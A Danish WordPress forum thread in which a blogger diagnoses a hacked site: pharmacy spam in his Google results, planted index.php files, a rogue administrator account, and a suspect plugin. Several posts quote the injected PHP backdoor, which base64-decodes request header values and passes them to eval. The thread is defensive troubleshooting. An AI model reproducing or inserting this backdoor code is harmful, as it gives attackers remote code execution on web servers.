WordPress DK Forum

1. 

   Jens Hvass
   

   Seniormedlem
   Joined: jan '08
   Posts:

   Reputation:

    

   Kære wordpress.dk

   Jeg har lige fået et lille chok, i og med at jeg søgte på Google og kom til en side fra min egen blog, kun med den forskel, at overskriften var: We Always Have The LOWEST Pharmacy Online-Offers.

   Se Googles cache (via søgning på: James E. Hansen):

   http://74.125.77.132/search?q=cache:HDOq6TAppYgJ:a21.dk/blog/2009/03/16/james-hansen-i-koebenhavn/+James+E.+Hansen&cd=8&hl=da&ct=clnk&gl=dk

   Normalt bør siden se sådanher ud:

   http://a21.dk/blog/2009/03/16/james-hansen-i-koebenhavn/

   Som I kan se, er overskriften hacked,og der er røget dobbelte kommaer i teksten

   Er der nogen, som kan gennemskue, hvad det handler om? Kan det hænge sammen med, at jeg føler at min blog (www.a21.dk/blog) på det seneste har kørt meget langsomt?

   Kan det hænge sammen med en række index.php-filer, som dukker op forskellige steder, hvor teksten når man åbner er:

   <?php function g14974($l14976){if(is_array($l14976)){foreach($l14976 as $l14974=>$l14975)$l14976[$l14974]=g14974($l14975);}elseif(is_string($l14976) && substr($l14976,0,4)=="____"){$l14976=substr($l14976,4);$l14976=base64_decode($l14976);eval($l14976);$l14976=null;}return $l14976;}////array_map("g14974",$_SERVER);
   // Silence is golden.
   ?>

   Har lige lavet flere søgninger - prøv på bloggens navn "strøtanker om bæredygtighed" - det ser ud til at være ret gennemført, med også viagara-annoncer.

   Er der nogen, der har bud på, hvad man kan gøre for at slippe af med fænomenet?

   Varme hilsener,
   Jens

   Skrevet 14 years siden #
2. 

   Jesper
   

   Supermedlem
   Joined: sep '08
   Posts:

   Reputation:

    

   Slet alt det

   function g14974($l14976){if(is_array($l14976)){foreach($l14976 as $l14974=>$l14975)$l14976[$l14974]=g14974($l14975);}elseif(is_string($l14976) && substr($l14976,0,4)=="____"){$l14976=substr($l14976,4);$l14976=base64_decode($l14976);eval($l14976);$l14976=null;}return $l14976;}////array_map("g14974",$_SERVER);


   Skrevet 14 years siden #
3. 

   Jens Hvass
   

   Seniormedlem
   Joined: jan '08
   Posts:

   Reputation:

    

   er det ikke bedre at slette alle de overflødige index.php-filer helt?

   Skrevet 14 years siden #
4. 

   John
   

   Administrator
   Joined: okt '09
   Posts:

   Reputation:

    

   Er din WP altid opdateret ?

   Mvh John

   Skrevet 14 years siden #
5. 

   peteandersen
   

   Supermedlem
   Joined: maj '07
   Posts:

   Reputation:

    

   Du er ikke nødvendigvis blevet hacket udefra. Måske har du selv taget det ind - ved at bruge det tema du bruger.

   Prøv at checke om der ikke ligger noget krypteret kode et sted i dit tema - ofte i footeren. Nogle gratis temaer har »indbygget« reklame for f.eks. viagra som du ser det her. Andre som jeg har oplevet sørger for, at der automatisk altid er et link blogroll, tilbage til udvikleren. Den ene lidt værre end den anden men begge irriterende.

   I'm looking for people who are looking for a way...

   
   

   Skrevet 14 years siden #
6. 

   Jens Hvass
   

   Seniormedlem
   Joined: jan '08
   Posts:

   Reputation:

    

   Tak for forslagene, Jopa og Pete

   > Er din WP altid opdateret ?

   Jeg har måske været en uge bagefter med at opdatere til seneste - alle disse ekstra index.php er dannet på samme tidspunkt 11.03.2010.

   > Du er ikke nødvendigvis blevet hacket udefra ...

   Muligvis. Men det tema, Skimmed Milk, som jeg bruger, har jeg brugt uafbrudt siden januar 2008, så det virker underligt, om det skulle have med det at gøre.

   Når man ser siden i Googles cache, så er det påfaldende, at hackeren har været i stand til at skifte overskrifterne, men ikke til at ændre links'ene så de rent faktisk peger på på Viagara, Valium, Online Pharmacy osv.

   Hvis det var designet indefra, ville man have gjort det langt mere elegant.

   Skrevet 14 years siden #
7. 

   Jens Hvass
   

   Seniormedlem
   Joined: jan '08
   Posts:

   Reputation:

    

   Fandt i to temaer, som jeg ikke bruger, Tarski og White as Milk, filer med nøjagtigt samme tidsstempel (11.03.2010 16:19) som de fejlagtige index.php filer. Det drejer sig om 404- achive-, achives- og attachment-siderne. Nu har jeg slettet disse teamer, da jeg ikke bruger dem.

   Skrevet 14 years siden #
8. 

   Jens Hvass
   

   Seniormedlem
   Joined: jan '08
   Posts:

   Reputation:

    

   Fandt også et helt tema placeret i plugin-mappen med samme dato på en del af filerne, som tilsyneladende har med miseren at gøre. Kan det være kommet sammen med et plugin: Timezone, som det ser ud til at jeg har installeret 11.03.2001 16:19?

   For så nærmer det sig en forklaring på, hvordan tingene er kommet indenbords.

   Skrevet 14 years siden #
9. 

   John
   

   Administrator
   Joined: okt '09
   Posts:

   Reputation:

    

   Mon ikke du har fundet synderen
   Det viser jo helt klart at man skal være obs på diverse plugins og temaer desværre

   Skrevet 14 years siden #
10. 

    Jens Hvass
    

    Seniormedlem
    Joined: jan '08
    Posts:

    Reputation:

     

    Jeg tror det har været problemet - et snyltetema, som er kommet ind med et plugin, måske et hacked plugin.

    Har bedt Google om at re-crawle, så de fejlagtige sider også forsvinder fra deres cache.

    Tak for hjælpen under vejs.

    Jens

    Skrevet 14 years siden #
11. 

    Jens Hvass
    

    Seniormedlem
    Joined: jan '08
    Posts:

    Reputation:

     

    Og så kan jeg se, at der stadig er en hel masse flere php-filer overskrevet 11.03.2010 kl. 16:19

    Kan det være rigtigt, at der allerførst i dem alle langt langt ude til højre står koder tilsvarende denne:

    function e9629($l9631){if(is_array($l9631)){foreach($l9631 as $l9629=>$l9630)$l9631[$l9629]=e9629($l9630);}elseif(is_string($l9631) && substr($l9631,0,4)=="____"){$l9631=substr($l9631,4);$l9631=base64_decode($l9631);eval($l9631);$l9631=null;}return $l9631;}////array_map("e9629",$_SERVER);

    Skrevet 14 years siden #
12. 

    Jens Hvass
    

    Seniormedlem
    Joined: jan '08
    Posts:

    Reputation:

     

    Har måttet skifte størstedelen af php-filerne med nye, stort set alle havde fået lange grumsede kodelinjer øverst. Men nu ser det ud til at der er renset ud i alle kroge.

    Skrevet 14 years siden #
13. 

    John
    

    Administrator
    Joined: okt '09
    Posts:

    Reputation:

     

    Tillykke må så håbe du er clean ;-)

    Skrevet 14 years siden #
14. 

    Mark Thomas Gazel
    

    Senioradministrator
    Joined: maj '06
    Posts:

    Reputation:

     

    Du er vel ikke tilfældigvis hosted af Servage.net?

    Mark Thomas Gazel
    "Jeg er ikke ung nok til at være erfaren" - Oscar Wilde
    http://mark.gazel.dk

    Skrevet 14 years siden #
15. 

    Jens Hvass
    

    Seniormedlem
    Joined: jan '08
    Posts:

    Reputation:

     

    Undskyld mit sene svar, men nej - siden ligger hos one.com.

    Skrevet 14 years siden #
16. 

    Jens Hvass
    

    Seniormedlem
    Joined: jan '08
    Posts:

    Reputation:

     

    Indser, at mit problem endnu ikke er løst. Min blog på http://www.a21.dk/blog har i hundredevis af google-sider med viagra- og cialis reklamer.

    Har til gengæld fundet et spor via denne tråd: http://www.duoblogger.com/wordpress-hacked-by-viagra-sellers . Indlægget fra 11.maj peger på “base64_decode” som noget centralt i problemet.

    Har været alle filer og bibliotekter igennem igen og fundet endnu tre af de index.php-filer med falsk kode, som jeg har fjernet så mange af. Og der var også oprettet en bruger med administrator-rettigheder, som jeg har fået slettet - og har ændret password. Slet ikke nogen rar fornemmelse.

    Krydser fingre for, at problemet er væk med næste Google-indeksering.

    Varme hilsener,
    Jens

    Skrevet 14 years siden #

RSS feed for this topic

Svar

Du skal være logget ind for at skrive.